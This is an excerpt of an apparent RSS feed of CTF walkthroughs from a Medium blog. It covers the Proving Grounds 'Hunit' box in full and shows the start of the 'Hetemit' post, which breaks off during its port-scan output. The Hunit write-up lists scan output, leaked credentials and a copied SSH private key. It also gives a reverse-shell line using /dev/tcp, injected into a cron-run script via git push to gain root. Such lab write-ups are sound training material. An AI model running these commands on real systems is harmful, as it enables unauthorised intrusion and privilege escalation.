Scanner.<br>________________________________________<br>: https://discord.gg/GFrQsGy           :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan<br><br>[~] The config file is expected to be at &quot;/home/brian/.rustscan.toml&quot;<br>[~] Automatically increasing ulimit value to 5000.<br>Open 192.168.189.125:8080<br>Open 192.168.189.125:12445<br>Open 192.168.189.125:18030<br>Open 192.168.189.125:43022<br>[~] Starting Script(s)<br>[&gt;] Running script &quot;nmap -vvv -p {{port}} {{ip}} -A -sC -Pn -sV -T 1500&quot; on ip 192.168.189.125<br>Depending on the complexity of the script, results may take some time to appear.<br>Host discovery disabled (-Pn). All addresses will be marked &#39;up&#39; and scan times may be slower.<br>[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-07 12:11 PDT<br>NSE: Loaded 155 scripts for scanning.<br>NSE: Script Pre-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 12:11<br>Completed NSE at 12:11, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 12:11<br>Completed NSE at 12:11, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 12:11<br>Completed NSE at 12:11, 0.00s elapsed<br>Initiating Parallel DNS resolution of 1 host. at 12:11<br>Completed Parallel DNS resolution of 1 host. at 12:11, 0.01s elapsed<br>DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]<br>Initiating Connect Scan at 12:11<br>Scanning 192.168.189.125 [4 ports]<br>Discovered open port 8080/tcp on 192.168.189.125<br>Discovered open port 12445/tcp on 192.168.189.125<br>Discovered open port 43022/tcp on 192.168.189.125<br>Discovered open port 18030/tcp on 192.168.189.125<br>Completed Connect Scan at 12:12, 60.09s elapsed (4 total ports)<br>Initiating Service scan at 12:12<br>Scanning 4 services on 192.168.189.125<br>Service scan Timing: About 50.00% done; ETC: 12:14 (0:01:13 remaining)<br>Completed Service scan at 12:13, 83.93s elapsed (4 services on 1 host)<br>NSE: Script scanning 192.168.189.125.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 12:13<br>Completed NSE at 12:13, 12.89s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 12:13<br>Completed NSE at 12:13, 0.51s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 12:13<br>Completed NSE at 12:13, 0.00s elapsed<br>Nmap scan report for 192.168.189.125<br>Host is up, received user-set (0.079s latency).<br>Scanned at 2023-06-07 12:11:29 PDT for 143s<br><br>PORT      STATE SERVICE     REASON  VERSION<br>8080/tcp  open  http-proxy  syn-ack<br>|_http-title: My Haikus<br>| http-methods: <br>|_  Supported Methods: GET HEAD OPTIONS<br>| fingerprint-strings: <br>|   GetRequest: <br>|     HTTP/1.1 200 <br>|     Content-Type: text/html;charset=UTF-8<br>|     Content-Language: en-US<br>|     Content-Length: 3762<br>|     Date: Wed, 07 Jun 2023 19:12:21 GMT<br>|     Connection: close<br>|     &lt;!DOCTYPE HTML&gt;<br>|     &lt;!--<br>|     Minimaxing by HTML5 UP<br>|     html5up.net | @ajlkn<br>|     Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)<br>|     &lt;html&gt;<br>|     &lt;head&gt;<br>|     &lt;title&gt;My Haikus&lt;/title&gt;<br>|     &lt;meta charset=&quot;utf-8&quot; /&gt;<br>|     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, user-scalable=no&quot; /&gt;<br>|     &lt;link rel=&quot;stylesheet&quot; href=&quot;/css/main.css&quot; /&gt;<br>|     &lt;/head&gt;<br>|     &lt;body&gt;<br>|     &lt;div id=&quot;page-wrapper&quot;&gt;<br>|     &lt;!-- Header --&gt;<br>|     &lt;div id=&quot;header-wrapper&quot;&gt;<br>|     &lt;div class=&quot;container&quot;&gt;<br>|     &lt;div class=&quot;row&quot;&gt;<br>|     &lt;div class=&quot;col-12&quot;&gt;<br>|     &lt;header id=&quot;header&quot;&gt;<br>|     &lt;h1&gt;&lt;a href=&quot;/&quot; id=&quot;logo&quot;&gt;My Haikus&lt;/a&gt;&lt;/h1&gt;<br>|     &lt;/header&gt;<br>|     &lt;/div&gt;<br>|     &lt;/div&gt;<br>|     &lt;/div&gt;<br>|     &lt;/div&gt;<br>|     &lt;div id=&quot;main&quot;&gt;<br>|     &lt;div clas<br>|   HTTPOptions: <br>|     HTTP/1.1 200 <br>|     Allow: GET,HEAD,OPTIONS<br>|     Content-Length: 0<br>|     Date: Wed, 07 Jun 2023 19:12:21 GMT<br>|     Connection: close<br>|   RTSPRequest: <br>|     HTTP/1.1 505 <br>|     Content-Type: text/html;charset=utf-8<br>|     Content-Language: en<br>|     Content-Length: 465<br>|     Date: Wed, 07 Jun 2023 19:12:21 GMT<br>|     &lt;!doctype html&gt;&lt;html lang=&quot;en&quot;&gt;&lt;head&gt;&lt;title&gt;HTTP Status 505 <br>|     HTTP Version Not Supported&lt;/title&gt;&lt;style type=&quot;text/css&quot;&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;HTTP Status 505 <br>|_    HTTP Version Not Supported&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;<br>12445/tcp open  netbios-ssn syn-ack Samba smbd 4.6.2<br>18030/tcp open  http        syn-ack Apache httpd 2.4.46 ((Unix))<br>|_http-title: Whack A Mole!<br>| http-methods: <br>|   Supported Methods: POST OPTIONS HEAD GET TRACE<br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Apache/2.4.46 (Unix)<br>43022/tcp open  ssh         syn-ack OpenSSH 8.4 (protocol 2.0)<br>| ssh-hostkey: <br>|   3072 7bfc37b4da6ec58ea98bb780f5cd09cb (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdtyB+UZiCMunw9Cjpg1M5yda6gJvY9DgsuFuuTfMwpe1gRp6xnQparU4u+5h+KPkCvG1h2WCj9skJ4guDNY7KgidPsfxrbKBxE0815hkntRU+xZVZneSvX20yxSU8JGZgFJPSfTaTRiRvXgDY1ljJ4c+wq9QiAg0mpXyJzHLsJGZ9z9V+5Mm4+EC8yF3xla+TAFVZtykbTFSWjf/1nZS0famFh/TMSJ333s630q6VqLKBwJ0mc75Ui6Hk+9VlGNI29NejkQufCeYSebgGZHqIT+fcjjHIZWLJIBL/KIArcgHBTUbeXKBrEoNFsA+fFGewHYNxt7Ux+w7kYF0bEAel/TcwUN4b0ZbDY1iC/dPyfWk/gXtsnaQe8oYC+JkUZwz8wSgNhWecmJjS9P/C983M7IoyRaWR9yRqEN+h/yR10heEoAD/UOW6LnpoJNQQenev2B+z9XlW0rXUB8yLUZNiJm59bjJhYMTvEZLLaeoCd1IXbtfPfjWp7EO+3zfs2xc=<br>|   256 89cdea4725d98ff894c3d65cd405bad0 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL68h2Z2xFUEzj7sURecPLgl8HJIdhZlhl0fOycHpBBiStKmKVTpDVLoOMPCspSWGHO2APE0Pd+dloHVc6lfVCc=<br>|   256 c07c6f477e94cc8bf83da0a61fa92711 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJWx+j72EVaL4qf6GJyePnJCG+SbfHaHB3st9je9n8oR<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>SF-Port8080-TCP:V=7.93%I=7%D=6/7%Time=6480D695%P=aarch64-unknown-linux-gnu<br>SF:%r(GetRequest,F51,&quot;HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;c<br>SF:harset=UTF-8\r\nContent-Language:\x20en-US\r\nContent-Length:\x203762\r<br>SF:\nDate:\x20Wed,\x2007\x20Jun\x202023\x2019:12:21\x20GMT\r\nConnection:\<br>SF:x20close\r\n\r\n&lt;!DOCTYPE\x20HTML&gt;\n&lt;!--\n\tMinimaxing\x20by\x20HTML5\x<br>SF:20UP\n\thtml5up\.net\x20\|\x20@ajlkn\n\tFree\x20for\x20personal\x20and\<br>SF:x20commercial\x20use\x20under\x20the\x20CCA\x203\.0\x20license\x20\(htm<br>SF:l5up\.net/license\)\n--&gt;\n&lt;html&gt;\n\t&lt;head&gt;\n\t\t&lt;title&gt;My\x20Haikus&lt;/ti<br>SF:tle&gt;\n\t\t&lt;meta\x20charset=\&quot;utf-8\&quot;\x20/&gt;\n\t\t&lt;meta\x20name=\&quot;viewpor<br>SF:t\&quot;\x20content=\&quot;width=device-width,\x20initial-scale=1,\x20user-scalab<br>SF:le=no\&quot;\x20/&gt;\n\t\t&lt;link\x20rel=\&quot;stylesheet\&quot;\x20href=\&quot;/css/main\.css<br>SF:\&quot;\x20/&gt;\n\t&lt;/head&gt;\n\t&lt;body&gt;\n\t\t&lt;div\x20id=\&quot;page-wrapper\&quot;&gt;\n\n\t\t<br>SF:\t&lt;!--\x20Header\x20--&gt;\n\t\t\t\n\t\t\t\t&lt;div\x20id=\&quot;header-wrapper\&quot;&gt;<br>SF:\n\t\t\t\t\t&lt;div\x20class=\&quot;container\&quot;&gt;\n\t\t\t\t\t\t&lt;div\x20class=\&quot;r<br>SF:ow\&quot;&gt;\n\t\t\t\t\t\t\t&lt;div\x20class=\&quot;col-12\&quot;&gt;\n\n\t\t\t\t\t\t\t\t&lt;head<br>SF:er\x20id=\&quot;header\&quot;&gt;\n\t\t\t\t\t\t\t\t\t&lt;h1&gt;&lt;a\x20href=\&quot;/\&quot;\x20id=\&quot;lo<br>SF:go\&quot;&gt;My\x20Haikus&lt;/a&gt;&lt;/h1&gt;\n\t\t\t\t\t\t\t\t&lt;/header&gt;\n\n\t\t\t\t\t\t\t<br>SF:&lt;/div&gt;\n\t\t\t\t\t\t&lt;/div&gt;\n\t\t\t\t\t&lt;/div&gt;\n\t\t\t\t&lt;/div&gt;\n\t\t\t\t\<br>SF:n\n\t\t\t\n\t\t\t\t&lt;div\x20id=\&quot;main\&quot;&gt;\n\t\t\t\t\t&lt;div\x20clas&quot;)%r(HTT<br>SF:POptions,75,&quot;HTTP/1\.1\x20200\x20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nCont<br>SF:ent-Length:\x200\r\nDate:\x20Wed,\x2007\x20Jun\x202023\x2019:12:21\x20G<br>SF:MT\r\nConnection:\x20close\r\n\r\n&quot;)%r(RTSPRequest,259,&quot;HTTP/1\.1\x2050<br>SF:5\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Language:\<br>SF:x20en\r\nContent-Length:\x20465\r\nDate:\x20Wed,\x2007\x20Jun\x202023\x<br>SF:2019:12:21\x20GMT\r\n\r\n&lt;!doctype\x20html&gt;&lt;html\x20lang=\&quot;en\&quot;&gt;&lt;head&gt;&lt;<br>SF:title&gt;HTTP\x20Status\x20505\x20\xe2\x80\x93\x20HTTP\x20Version\x20Not\x<br>SF:20Supported&lt;/title&gt;&lt;style\x20type=\&quot;text/css\&quot;&gt;body\x20{font-family:Tah<br>SF:oma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:white;backgr<br>SF:ound-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font-size:16p<br>SF:x;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\x20{color<br>SF::black;}\x20\.line\x20{height:1px;background-color:#525D76;border:none;<br>SF:}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;HTTP\x20Status\x20505\x20\xe2\x80\x93\x20HTTP<br>SF:\x20Version\x20Not\x20Supported&lt;/h1&gt;&lt;/body&gt;&lt;/html&gt;&quot;);<br><br>NSE: Script Post-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 12:13<br>Completed NSE at 12:13, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 12:13<br>Completed NSE at 12:13, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 12:13<br>Completed NSE at 12:13, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 157.86 seconds</pre><h3>Port 8080</h3><p>We visited <a href="http://192.168.143.125:8080/">http://192.168.143.125:8080</a> and examined the webpage’s source code. By analyzing the source code, we identified a directory named “/api”. Further exploration of the “/api” directory led us to discover a subdirectory called “/user”. Within this subdirectory, we found a login named “dademola”, listed as an admin.</p><ul><li><strong><em>We open a web browser, navigate to </em></strong><a href="http://192.168.143.125:8080/"><strong><em>http://192.168.143.125:8080</em></strong></a><strong><em>, locate the webpage below, and click on “the taste of rain” link. Next, we right click and view page source. Afterwards, we can see that it includes the directory “/api”.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IDQfbKhXZquWL9MM" /><figcaption>My Haikus Web Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LpEGmptUx5Yb4OWkl907QQ.png" /><figcaption>The Taste Of Rain Web Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DVnFEa9_hQBHU72J.png" /><figcaption>The Taste Of Rain Source Code</figcaption></figure><h3>Exploitation</h3><h4>Locate User Credentials in Websites JSON Code</h4><ul><li><strong><em>After navigating to the “/api” directory and selecting “Raw Data” we locate a “/user” directory.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/0*y9WEnCNg8Ykc6-GC" /><figcaption>/api Raw Data</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Q7LSM4tCa2hH07Eq" /><figcaption>/user directory</figcaption></figure><ul><li><strong><em>We find the user login “dademola” and password “ExplainSlowQuest110” when we navigate to the directory “/user”.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/0*kvMufhYZB8vU-o4r" /></figure><p>Using the identified SSH port (43022), we established an SSH connection to the target machine with the username “dademola” and the password “ExplainSlowQuest110”. This successful login provided us with a shell on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/0*i3F2KUiDNzPXV2Gt" /><figcaption>SSH- User dademola</figcaption></figure><h3>Privilege Escalation</h3><h4>Local Enumeration</h4><p>To escalate our privileges, we performed local enumeration using the Linpeas tool. During the scan, we discovered a cronjob named “crontab.bak” running as root. Upon examining “crontab.bak”, we found references to two files: “pull.sh” and “backups.sh”. The cronjob executed “pull.sh” every 2 minutes and “backups.sh” every 3 minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/0*q9QpXSiH-XjJY4WS" /><figcaption>crontab.bak</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/0*cSScWvLOQ1I3wKTx" /><figcaption>backup.sh / pull.sh</figcaption></figure><p>During our exploration, we encountered a directory named “git-server” within the SSH session. However, due to the complexities of working directly with Git backend files, we decided to clone the Git server onto our Kali Linux machine. Using the command git clone file:///git-server/, we successfully cloned the git server repository into the “/tmp” directory on our local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/0*sc8YUvVQf_z0uh_-" /><figcaption>git-server</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/0*Lsrtkx70lPG1tnuf" /><figcaption>git clone server</figcaption></figure><p>After cloning the git server, we accessed the “backups.sh” file. Upon inspection, we realized it was a placeholder file. To gain control over the script, we set up our git identity by configuring the user.name and user.email using the commands git config — global user.name “dademola” and git config — global user.email “dademola@hunit.(none)”, respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/0*7COBN9TrL7zSLlDE.png" /><figcaption>placeholder</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/0*2A1wZ-zSCaZc1sWu" /><figcaption>git identity</figcaption></figure><p>To escalate our privileges further, we injected a test instruction into the “backups.sh” file using the command echo “touch /tmp/gitscript-test” &gt;&gt; backups.sh. Additionally, we made the script executable by running chmod +x backups.sh. However, when attempting to push the modified file back to the git server, we encountered an error due to file ownership restrictions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/0*vSyyJQk6ftmX9i39" /><figcaption>test instruction &gt; backups.sh</figcaption></figure><h3>Lateral Movement</h3><p><strong>Found private ssh key for user in SSH session</strong></p><p>To proceed, we discovered a user named “git” and realized that we had read and execute permissions on the “id_rsa” SSH private key file belonging to the “git” user. To access the file from our Kali Linux machine, we used the command scp -P 43022 dademola@192.168.93.125:/home/git/.ssh/id_rsa . to download the private key. We then adjusted the permissions using chmod 600 to ensure proper security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/0*X0tRPOmwnCoUPJJo.png" /><figcaption>id_rsa file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/0*5O1jex6fFq4u7IqZ" /><figcaption>git SSH Private Key</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/0*jgd5GH2y0pKGTNb6.png" /><figcaption>adjust permissions for id_rsa file</figcaption></figure><p>Using the acquired private SSH key, we established an SSH connection to the target machine as the “git” user with the command ssh -i id_rsa -p 43022 git@192.168.93.125. This login provides access to the git-shell environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/0*BjxoNrTPEHbEn0SM.png" /><figcaption>git shell</figcaption></figure><ul><li><strong><em>We should be able to communicate with the git repository as this is a git shell.Privilege Escalation Vector</em></strong></li></ul><h3>Privilege Escalation</h3><h4>Git-Shell cron tab</h4><p>To elevate privileges to root, we cloned the git server onto our Kali machine using GIT_SSH_COMMAND=’ssh -i id_rsa -p 43022&#39; git clone git@192.168.93.125:/git-server. Navigating into the cloned repository, we modified the “backups.sh” file by injecting a reverse shell command using echo “sh -i &gt;&amp; /dev/tcp/[kali IP]/8080 0&gt;&amp;1” &gt;&gt; backups.sh. After committing the changes using git add -A and git commit -m “pwn”, we pushed the modified file to the git server using GIT_SSH_COMMAND=’ssh -i /home/kali/Downloads/ProvingGroundsBoxes/Hunit/id_rsa -p 43022&#39; git push origin master.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/0*h3cKjOyy-en7bxiS.png" /><figcaption>GIT_SSH_COMMAND</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/0*aDcztBf2CCoid92a.png" /><figcaption>git identity</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/0*uA4NOlco8SV_WkQ_.png" /><figcaption>commit changes</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/0*05NYzWMPpbqrOJ4N" /><figcaption>commit changes</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zggPr1qTz3UdB_hV" /><figcaption>push files to git master branch</figcaption></figure><p>We then started a Netcat listener on our Kali machine to receive the reverse shell. As the cronjob executed the “backups.sh” file every 3 minutes, we patiently waited for the reverse shell to trigger. Finally, after a few minutes, we gained a root shell on our Netcat listener, giving us complete control over the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/0*-Ner1M242p1j1SOO.png" /><figcaption>root shell</figcaption></figure><h3>Improved Skills</h3><ul><li>Finding hidden directories in the source code of web pages</li><li>Cloning a Git server to Kali, edit files, and push updates</li><li>Git-shell commands</li><li>Modifying cron jobs</li></ul><h3>Conclusion</h3><p>The Hunit challenge provided an excellent opportunity to enhance our skills in various areas. These skills included finding hidden directories, manipulating Git repositories, modifying cron jobs, and escalating privileges. By following this walkthrough, we successfully navigated through the challenge and gained root access to the target machine.</p><p>Please feel free to reach out to me!</p><h3><a href="https://twitter.com/SL0cLpS_1">https://twitter.com/SL0cLpS_1</a></h3><p><a href="https://discord.com/users/679920497299161119">Discord - A New Way to Chat with Friends &amp; Communities</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36081fc196d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds -Hetemit (Intermediate) Linux Box -Walkthrough — A Journey to Offensive Security]]></title>
            <link>https://medium.com/@bdsalazar/proving-grounds-hetemit-intermediate-linux-box-walkthrough-a-journey-to-offensive-security-3ca236db1288?source=rss-5e44ad140064------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ca236db1288</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[penetration-test]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Brian]]></dc:creator>
            <pubDate>Thu, 01 Jun 2023 21:30:16 GMT</pubDate>
            <atom:updated>2024-04-24T16:43:04.490Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds -Hetemit (Intermediate) Linux Box -Walkthrough — A Journey to Offensive Security</h3><h3>Introduction:</h3><p>This walkthrough will guide you through the steps to exploit the Hetemit machine with the IP address 192.168.56.117. The process involves discovering an application running on port 50000, confirming the application’s functionality, executing commands using os.system, modifying a service file for privilege escalation, and obtaining a root shell.</p><h3>Information Gathering:</h3><p>During the initial enumeration, port 50000 was identified as running the Werkzeug HTTPD 1.0.1 server. Navigating to <a href="http://192.168.56.117:50000/">http://192.168.56.117:50000</a> revealed a webpage. Further investigation led to <a href="http://192.168.56.117:50000/verify">http://192.168.56.117:50000/verify</a>, which showed evaluation functionality.</p><pre>rustscan --addresses 192.168.127.117 --ulimit 5000 -- -A -sC -Pn -sV -T 1500<br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: https://discord.gg/GFrQsGy           :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>😵 https://admin.tryhackme.com<br><br>[~] The config file is expected to be at &quot;/home/brian/.rustscan.toml&quot;<br>[~] Automatically increasing ulimit value to 5000.<br>Open 192.168.127.117:21<br>Open 192.168.127.117:22<br>Open 192.168.127.117:80<br>Open 192.168.127.117:139<br>Open 192.168.127.117:445<br>Open 192.168.127.117:18000<br>Open 192.168.127.117:50000<br>[~] Starting Script(s)<br>[&gt;] Running script &quot;nmap -vvv -p {{port}} {{ip}} -A -sC -Pn -sV -T 1500&quot; on ip 192.168.127.117<br>Depending on the complexity of the script, results may take some time to appear.<br>Host discovery disabled (-Pn). All addresses will be marked &#39;up&#39; and scan times may be slower.<br>[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-16 11:49 PDT<br>NSE: Loaded 155 scripts for scanning.<br>NSE: Script Pre-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 11:49<br>Completed NSE at 11:49, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 11:49<br>Completed NSE at 11:49, 0.00s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 11:49<br>Completed NSE at 11:49, 0.00s elapsed<br>Initiating Parallel DNS resolution of 1 host. at 11:49<br>Completed Parallel DNS resolution of 1 host. at 11:49, 0.01s elapsed<br>DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]<br>Initiating Connect Scan at 11:49<br>Scanning 192.168.127.117 [7 ports]<br>Discovered open port 22/tcp on 192.168.127.117<br>Discovered open port 139/tcp on 192.168.127.117<br>Connect Scan Timing: About 35.71% done; ETC: 11:51 (0:01:21 remaining)<br>Discovered open port 445/tcp on 192.168.127.117<br>Discovered open port 80/tcp on 192.168.127.117<br>Connect Scan Timing: About 64.29% done; ETC: 11:51 (0:00:42 remaining)<br>Discovered open port 21/tcp on 192.168.127.117<br>Discovered open port 50000/tcp on 192.168.127.117<br>Discovered open port 18000/tcp on 192.168.127.117<br>Completed Connect Scan at 11:51, 108.01s elapsed (7 total ports)<br>Initiating Service scan at 11:51<br>Scanning 7 services on 192.168.127.117<br>Completed Service scan at 11:51, 41.02s elapsed (7 services on 1 host)<br>NSE: Script scanning 192.168.127.117.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 11:51<br>NSE: [ftp-bounce 192.168.127.117:21] PORT response: 500 Illegal PORT command.<br>NSE Timing: About 95.63% done; ETC: 11:52 (0:00:01 remaining)<br>NSE Timing: About 98.44% done; ETC: 11:52 (0:00:01 remaining)<br>Completed NSE at 11:53, 74.77s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 11:53<br>Completed NSE at 11:53, 3.62s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 11:53<br>Completed NSE at 11:53, 0.00s elapsed<br>Nmap scan report for 192.168.127.117<br>Host is up, received user-set (0.18s latency).<br>Scanned at 2022-10-16 11:49:35 PDT for 212s<br><br>PORT      STATE SERVICE     REASON  VERSION<br>21/tcp    open  ftp         syn-ack vsftpd 3.0.3<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to 192.168.49.127<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 2<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_Can&#39;t get directory listing: TIMEOUT<br>22/tcp    open  ssh         syn-ack OpenSSH 8.0 (protocol 2.0)<br>| ssh-hostkey: <br>|   3072 b1:e2:9d:f1:f8:10:db:a5:aa:5a:22:94:e8:92:61:65 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH2Cap49zuKy70lHzXsOn9iOap0h1Dnwk14D6PNKugueOqGpYoffwCGCA0wF4cI3+MRjuHz4xGznmtTIP3vOBZINZvT5PsNcvu6ef0SDfDOMFbzsEirhpQuoBYvgmEuJ4u1VMiwNaYQ0jw9t+nsR2MAIym/wdKt+ghYm4qlB3WvLMV41uCu0F7OQadRX8GWrLWLucjSQ1f80tkV7mc7ZfuTm8YdsAOkNQufHkVE+Alk0NpHdqLh/6FHxmEqYwP0jX6HS/lg+MfczIbIQ91v7+ljvo3qgdSZPqqulUtQuj/Rb/gmIfItzFZIxTzLQ6FuKKmoTMXaR/tXf93+91z+kBdDaZe/5eu6fLCdGuFyioB97LdZGJq8uFbM0BpNeBYc0i/DOFwxWBhO8/zzv1uaTUKuS1B+bny1iUTiQoJj6GVRQmvgk/2Km5SanF3Cp4PSSJMQ112Umjg1T61ah/i//KXAyZ25xOznolBw/aoCc9cremrkycUp7dmuATBNCgHFS0=<br>|   256 74:dd:fa:f2:51:dd:74:38:2b:b2:ec:82:e5:91:82:28 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPTMpDGmoKZ96W+Ivvw7sQmnD1U41OY34oAzJ5Z1/AP/iVj+TpKO6lCKPxDq+9nbJJU4dtQx8X+KjQqUtpYIUhw=<br>|   256 48:bc:9d:eb:bd:4d:ac:b3:0b:5d:67:da:56:54:2b:a0 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEUnTSrfkvL2AJJsozjPtXIWf/6Z7UB9WptTiOOX93m4<br>80/tcp    open  http        syn-ack Apache httpd 2.4.37 ((centos))<br>|_http-server-header: Apache/2.4.37 (centos)<br>| http-methods: <br>|   Supported Methods: HEAD GET POST OPTIONS TRACE<br>|_  Potentially risky methods: TRACE<br>|_http-title: CentOS \xE6\x8F\x90\xE4\xBE\x9B\xE7\x9A\x84 Apache HTTP \xE6\x9C\x8D\xE5\x8A\xA1\xE5\x99\xA8\xE6\xB5\x8B\xE8\xAF\x95\xE9\xA1\xB5<br>139/tcp   open  netbios-ssn syn-ack Samba smbd 4.6.2<br>445/tcp   open  netbios-ssn syn-ack Samba smbd 4.6.2<br>18000/tcp open  biimenu?    syn-ack<br>| fingerprint-strings: <br>|   GenericLines: <br>|     HTTP/1.1 400 Bad Request<br>|   GetRequest, HTTPOptions: <br>|     HTTP/1.0 403 Forbidden<br>|     Content-Type: text/html; charset=UTF-8<br>|     Content-Length: 3102<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html lang=&quot;en&quot;&gt;<br>|     &lt;head&gt;<br>|     &lt;meta charset=&quot;utf-8&quot; /&gt;<br>|     &lt;title&gt;Action Controller: Exception caught&lt;/title&gt;<br>|     &lt;style&gt;<br>|     body {<br>|     background-color: #FAFAFA;<br>|     color: #333;<br>|     margin: 0px;<br>|     body, p, ol, ul, td {<br>|     font-family: helvetica, verdana, arial, sans-serif;<br>|     font-size: 13px;<br>|     line-height: 18px;<br>|     font-size: 11px;<br>|     white-space: pre-wrap;<br>|     pre.box 